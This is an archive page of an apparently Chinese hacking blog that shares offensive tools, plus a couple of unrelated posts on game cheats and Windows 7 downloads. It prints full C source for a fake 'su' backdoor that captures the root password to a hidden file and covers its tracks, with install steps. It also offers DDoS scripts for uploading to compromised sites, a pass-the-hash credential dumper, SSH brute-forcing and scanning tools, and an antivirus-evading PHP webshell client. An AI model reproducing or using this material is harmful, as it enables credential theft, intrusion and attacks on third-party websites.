存档

‘资源共享’ 分类的存档

SSHscan – Scanning ports through SSH Port Forwarding

2012年1月2日 没有评论 93 views

SSHscan – Scanning ports through SSH Port Forwarding

SSHscan.py will allow you to scan a internal network through a SSH with port forwarding enabled. The tool allows to create a port forward in localhost for every open port detected in the internal network range.

This tool is not one that can be used in every engagement but when you have the opportunity and the need it will came handy.

The tool has been included in the edgeSSH kit, where we will include all the scripts related with SSH, at the moment only bruteSSH, a SSH login bruteforcer and scanSSH are included in the kit.

You can download the code here: http//code.google.com/p/edgessh

Code:

Command line options:        -h: target host       -u: username       -p: password       -l: targets lists to scan       -t: threads       --remote-host: host to scan       --remote-ports: port list to scan       --default-ports: scan default ports       --all-ports: scan all 65535 ports       --keep-tunnels: Forward all open ports

Examples:

Code:

    scanssh.py -h 192.168.1.55 -u root -p passowrd -t list.txt    scanssh.py -h 192.168.1.55 -u root -p password --remote-host 127.0.0.1 --remote-ports 80,443    scanssh.py -h 192.168.1.55 -u root -p password --remote-host 127.0.0.1 --default-ports

[source: http://edge-security.blogspot.com/2011/06/scanning-ports-through-ssh-port.html]

分类: 资源共享 标签:

目录Authorization破解工具

2012年1月2日 没有评论 157 views

来自:http://www.007hack.com/?p=635

Web目录下有一些文件不允许匿名访问(可以使用Tomcat、Apache、nginx等进行配制,来实现此效果),如下图:

可以使用以下代码+字典破解,运行结果如下:

主要代码如下(附件中有完整代码,仅供学习!请勿非法使用!):

点击下载:Crack_pass.rar

分类: 资源共享 标签:

linux Backdoor

2011年11月24日 没有评论 239 views

/*

/*

* kpr-fakesu.c V0.9beta167

* by koper

*

* Setting up:

* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c

* admin@host:~$ mv .su /var/tmp/.su

* admin@host:~$ cp .bash_profile .wgetrc

* admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile

* admin@host:~$ logout

* *** LOGIN ***

* admin@host:~$ su

* Password:

* su: Authentication failure

* Sorry.

* admin@host:~$ su

* Password:

* root@host:~# logout

* admin@host:~$ cat /var/tmp/.pwds

* root:dupcia17

* admin@host:~$

*

* /bin/su sends various failure information depending on the OS ver.

* Please modify the source to make it "fit" <img src="http://www.4shell.org/wp-content/uploads/images/2011/11/1323384Sm.gif" alt=";)">

*

*/

#include

#include

#include

main(int argc, char *argv[]){

FILE *fp;

char *user;

char *pass;

char filex[100];

char clean[100];

sprintf(filex,"/var/tmp/.pwds");

sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/test/.wgetrc /home/test/.bash_profile");

if(argc==1) user="root";

if(argc==2) user=argv[1];

if(argc>2){

if(strcmp(argv[1], "-l")==0)

user=argv[2];

else user=argv[1];}

fprintf(stdout,"assword: ");

pass=getpass ("");

system("sleep 3");

fprintf(stdout,"su: Authentication failurenSorry.n");

if ((fp=fopen(filex,"w")) != NULL)

{

fprintf(fp, "%s:%sn", user, pass);

fclose(fp);

}

system(clean);

system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

}

以下三个都是比较经典的backdoor:

阅读全文...

分类: 资源共享 标签: , ,

allinone: Linux pentest tools

2011年11月24日 没有评论 148 views

allinone: Linux pentest tools from HUC China

A great app level backdoor in Linux . Very useful while doing Linux pentest.

Written by Lion [HUC(Hack Union of China)] at year 2002

The source code has some errors in packetstromsecurity’s archive; Now all fixed by akshell(http://www.linuxpentest.com)
阅读全文...

解决《战争机器》Win7下不能使用修改器问题,用作弊码

2011年5月1日 没有评论 292 views

Win7下的战争机器不能用修改器和作弊器,XP下却可以正常使用
解决办法:
在\My Documents\My Games\Gears of War for Windows\Binaries里面生成一个文本文件,比如cheat.txt,把你想开的作弊码写进去,比如下面那样

set WarfareGame.Pawn_COGMarcus DefaultHealth 99999
set warfaregame.Weap_locustpistol MaxSpareAmmo 9999
set warfaregame.Weap_locustpistol Magsize 5000
set warfaregame.Weap_cogpistol MaxSpareAmmo 9999
set warfaregame.Weap_cogpistol Magsize 5000
set warfaregame.Weap_locustassaultrifle MaxSpareAmmo 9999
set warfaregame.Weap_locustassaultrifle MagSize 5000
set WarfareGame.Weap_AssaultRifle MaxSpareAmmo 9999
set WarfareGame.Weap_AssaultRifle MagSize 1000
set WarfareGame.Weap_Grenade MaxSpareAmmo 9999
set WarfareGame.Weap_Grenade MagSize 9000
set WarfareGame.Weap_SniperRifle MaxSpareAmmo 9999
set WarfareGame.Weap_SniperRifle MagSize 5000
set WarfareGameContentWeapons.Weap_Bow MaxSpareAmmo 9999
set WarfareGameContentWeapons.Weap_Bow MagSize 5000
set WarfareGameContentWeapons.Weap_Boomer MaxSpareAmmo 9999
set WarfareGameContentWeapons.Weap_Boomer MagSize 9000
set WarfareGame.Weap_Shotgun MaxSpareAmmo 9999
set WarfareGame.Weap_Shotgun MagSize 9000

阅读全文...

分类: 资源共享 标签:

5分钟下完Window7

2011年4月4日 没有评论 222 views

**以下方法同样适用于Windows 7 With SP1

5分钟的确能下完Window7,但有个前提条件,已经存在有一个相同语言且非企业版、非vl版的Windows7。如果还没有下载过任何版本的Windows7,以下方法并不适用,建议你先下载Ultimate版,速度最快。

例如:

拥有Ultimate_x86、starter_x86、professional_x86、home_premium_x86、homebasic_x86中任意一个版本的windows 7就可以得到剩余4个版本中的任意一个版本windows 7。

拥有Ultimate_x64、professional_x64、home_premium_x64中任意一个版本的windows 7就可以得到剩余2个版本中的任意一个版本windows 7。

(理论上还存在有一个homebasic_x64,但不知是什么原因,微软并未发布。)

以下是使用Xtreme获取的方法:

阅读全文...

分类: 资源共享 标签:

Windows 7 with SP1中英文原版MSDN下载汇总

2011年4月4日 没有评论 258 views

这里是不是原版?
答: MSDN,OEM以及零售版都是原版,我可以负责任的告诉你,这里提供的MSDN都是原汁原味的原版系统,具体来讲,本贴下载链接或种子来源有三种:
1. 微软官方网站。
2. MSDN I Tell You(众所周知的可靠原版来源)。
3. 海盗湾,景友或本人 (这一类资源均经过景友或本人验证为原版,无一例外)。
请大家放心下载,这里的种子和链接是没有问题的。

5分钟就能下完Window7?
答: 是的,但有个前提条件,就是本地已经存在一个相同语言且非企业版、非vol版的Windows7。具体方法见http://msdn.itellyou.cn/help.htm#express-download (该方法由景友romanyu推荐,特此感谢)

下载有问题?
1.版本不符
2.99.9%停止下载,方法1-先按一下暂停然后重新开始;方法2-关闭下载软件,将文件拷到其他地址,去掉后缀;方法3-一直等待,总会下完的。方法4-Google或百度。
阅读全文...

分类: 资源共享 标签: ,

内网渗透新杀器

2010年11月8日 4 条评论 1,357 views

10月12日Pass-The-Hash toolkit作者mailist发布了新版的Pass The Hash Attack tool -- Windows Credentials Editor,简称wce。
单个文件集成了列举、添加、更改credentials的功能,再也不用拖着几个exe和dll文件到处跑了,而且体积仅仅137KB,内网渗透手必备工具.

Windows Credentials Editor v1.0
Supports Windows XP, 2003, Vista, 7 and 2008 (Vista was not actually
tested yet, but it should work).
Windows Credentials Editor (WCE) allows to list logon sessions and add,
change, list and delete associated credentials (ex.: LM/NT hashes). This
can be used, for example, to perform pass-the-hash on Windows and also
obtain NT/LM hashes from memory (from interactive logons, services,
remote desktop connections, etc.) which can be used in further attacks.
You can find it here:
http://www.ampliasecurity.com/research/wce_v1.0.tgz


阅读全文...

AirCrack的中文手册

2010年8月7日 没有评论 394 views

//--------------------------------------------------------------------
// AirCrack中文手册 1.0
// 翻译:GaA.Ra(zhoufan#yahoo.cn)
// 随意转载,但请保留此部分信息,谢谢
//--------------------------------------------------------------------

/************************************************************
1.AirCrack-ng
Aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, thus making the attack much faster compared to other WEP cracking tools. In fact, aircrack is a set of tools for auditing wireless networks.
Aircrack是一个802.11协议WEP和WPA-PSK密钥P解程序,能够恢复出密钥当抓取了足够的数据包的时候.它执行标准FMS攻击并提供一些优化(算法)像Korek攻击,因此相比其他WEPP解工具能够更加快的进行攻击.事实上,Aircrack是一系列的工具用以审计无线网络.
Aircrack-ng 1.0 r1645 - (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe
Original work: Christophe Devine

http://www.aircrack-ng.org

usage: aircrack-ng [options] < .cap / .ivs file(s)>
使用方法: aircrack-ng [选项] < .cap 或 .ivs文件>

Common options: //命令选项
-a : force attack mode (1/WEP, 2/WPA-PSK) //设置攻击模式(1是WEP,2是WPA-PSK)
-e : target selection: network identifier //目标选择:网络标识(如TP-LINK)
-b : target selection: access point's MAC //目标选择:AP的MAC地址
-p : # of CPU to use (default: all CPUs) //使用的CPU(缺省值:全部CPU)
-q : enable quiet mode (no status output) //开启安静模式(不输出状态)
-C : merge the given APs to a virtual one //归并给的AP到一个虚拟的
-l : write key to file //把密钥key写入文件
阅读全文...

分类: 资源共享 标签:

再分享一个aspx的ddos脚本

2010年6月23日 没有评论 895 views

点击↑小图放大

效果没有下面那个PHP的明显。
既然群里面的朋友要,也放出来吧。
使用方法:填写IP地址 端口 线程 AddtoAttack
有朋友说看不懂,我囧,英文在稀烂,猜也猜的到这几个功能。

下载地址:
阅读全文...

分类: 资源共享 标签: , ,

分享国外一个PHP DDOS的脚本

2010年6月23日 4 条评论 2,028 views

效果还是不错的,一般的网站直接打翻。
群里面,昨日重现和肖申克的救赎一直吵着要这种webshell下的压力测试工具。
有人拿这东西卖钱,装13,我Google了一下,国外的东西,下载下来共享之。
用法:通过各种方式上传到PHP网站目录下,填写IP地址,压力测试之。

下载地址:
阅读全文...

分类: 资源共享 标签: , ,

[原创]Chinadu的PHP一句话马客户端

2010年6月7日 没有评论 798 views

有些PHP一句话马的客户端,遇见magic_quotes_gpc =On 提交之后就报错不能执行,或者遇见*nix系统不能提交。
随之写了一个,能完美兼容windows/*nix操作系统,无论magic_quotes_gpc 为On还是Off都能提交。
采用session模式,绝对无痕而且免杀,关闭浏览器后自动消失。
默认提交的是最新的phpspy2009大马,功能全面。


阅读全文...